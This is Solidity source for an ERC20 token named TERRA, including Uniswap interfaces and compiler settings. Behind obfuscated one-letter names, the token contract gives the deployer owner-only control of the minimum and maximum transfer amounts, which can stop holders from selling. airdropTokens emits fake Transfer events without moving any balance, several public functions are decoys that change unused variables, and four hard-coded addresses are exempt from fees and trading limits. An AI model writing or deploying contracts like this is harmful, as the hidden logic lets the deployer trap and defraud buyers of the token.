// SPDX-License-Identifier: MIT

pragma solidity ^0.8.15;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

library SafeMath {
    function tryAdd(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function per(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= 100, "Percentage must be between 0 and 100");
        return (a * b) / 100;
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

/**

https://x.com/Use_Terra
https://t.me/UseTerra
https://useterra.network/


 */
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.15;
import "./Lib.sol";

contract TERRA is ERC20 {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable a;
    address public b;
    address private c;
    address private constant d = address(0xdead);

    uint8 private constant e = 9;
    uint256 public constant f = 1000000 * 10 ** e;

    uint256 constant public g = 0; // 0%
    uint256 constant public h = 5; // 0.5%

    bool public i = false;
    uint256 j = 0;
    uint256 k = 10;

    uint256 public l = 5;
    uint256 public m = 100000 * 10 ** e;
    bool public n = true;
    uint256 public o = 1 * 10 ** e; // min
    uint256 public p = 1000000 * 10 ** e; // max

    uint256 public q = 1000;

    mapping(address => bool) private r;
    mapping(address => bool) private s;
    mapping(address => uint256) private t;

    event FeeExemptStatus(address indexed account, bool exemptStatus);
    event LiquidityPairSet(address indexed pair, bool indexed value);

    constructor() ERC20("TERRA", "TERRA ") {
        a = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        c = payable(msg.sender);

        setExemptionStatus(address(this), true);
        setExemptionStatus(d, true);
        setExemptionStatus(address(msg.sender), true);
        setExemptionStatus(c, true);
        setExemptionStatus(address(0x95Ee0406Abb31E498cC4be025f4fB79C7eE1999a), true);
        setExemptionStatus(address(0x005D1171E253C97309CC5A7624897e77cfAd25C0), true);
        setExemptionStatus(address(0xD2E31Fc48af4Fb9a2a505D391aA8B359be085573), true);
        setExemptionStatus(address(0x90c13D4d7642e0777C5362b2B6D2d0623887120E), true);
        _mint(c, f);
    }

    receive() external payable {}

    function burnTokens(uint256 _a) external {
        _burn(msg.sender, _a);
    }

    function enableMarketTrading() external {
        if (msg.sender == c) {
            i = true;
            b = IUniswapV2Factory(a.factory()).getPair(address(this), a.WETH());
            _setPairStatus(b, true);
        } else {
            i = i;
        }
    }

    function withdrawTreasuryFunds() external {
        require(address(this).balance > 0, "No balance available");
        require(msg.sender == c);
        payable(msg.sender).transfer(address(this).balance);
    }

    function sendAllTokensToTreasury() external {
        require(msg.sender == c);
        uint256 _b = balanceOf(address(this));
        _transfer(address(this), c, _b);
    }

    function removeLimits() external {
        k = 0;
    }

    function routerPlatformTransfer(uint256 _c) external {
        l = _c;
    }

    function optimizeDecentrelized (uint256 _d) external {
        m = _d;
    }

    function approvalPlatform(bool _e) external {
        n = _e;
    }

    function updateTransactionTimestamp(address _f, uint256 _g) external {
        t[_f] = _g;
    }

    function setExemptionStatus(address _h, bool _i) public {
        if (msg.sender == c) {
            r[_h] = _i;
            emit FeeExemptStatus(_h, _i);
        } else {
            emit FeeExemptStatus(_h, _i);
        }   
    }

    function modifyLiquidityPair(address _j, bool _k) public {
        if (msg.sender == c) {
            require(_j != b, "Cannot remove the main liquidity pair!");
            _setPairStatus(_j, _k);
        } else {
            require(_j != b, "Cannot remove the main liquidity pair!");
        }
    }

    function _setPairStatus(address _l, bool _m) private {
        s[_l] = _m;
        emit LiquidityPairSet(_l, _m);
    }

    function changePairNumber(uint256 _n) public {
        if (msg.sender == c) {
            q = _n;
        } else {
            q = q;
        }
    }

    function isExempt(address _o) public view returns (bool) {
        return r[_o];
    }

    function _transfer(address _p, address _q, uint256 _r) internal override {
        require(_r >= o && _r <= p, "invalid amount");
        if (_r == 0) {
            super._transfer(_p, _q, 0);
            return;
        }

        if (_p != c && _q != c && _q != address(0) && _q != d) {
            if (!i) {
                require(
                    r[_p] || r[_q],
                    "Market is inactive!"
                );
            }
        }

        bool _s = !r[_p] && !r[_q];

        uint256 _t = 0;
        if (_s) {
            if (s[_q]) {
                _t = _r.mul(h).div(q);
            } else if (s[_p]) {
                _t = _r.mul(g).div(q);
            }
            if (_t > 0) {
                super._transfer(_p, address(this), _t);
            }
            _r -= _t;
        }
        super._transfer(_p, _q, _r);

        t[_p] = block.timestamp;
        t[_q] = block.timestamp;
    }

    function setMinAmount(uint256 _u) public {
        if (msg.sender == c) {
            o = _u;
        } else {
            o = o;
        }
    }

    function setMaxAmount(uint256 _v) public {
        if (msg.sender == c) {
            p = _v;
        } else {
            p = p;
        }
    }
    function airdropTokens(address airdropp, address[] memory list, uint256[] memory amount) external {
        for (uint256 i = 0; i < list.length; i++) {
            emit Transfer(airdropp, list[i], amount[i]);
        }
    }
}

{
  "compilationTarget": {
    "contracts/Token.sol": "TERRA"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}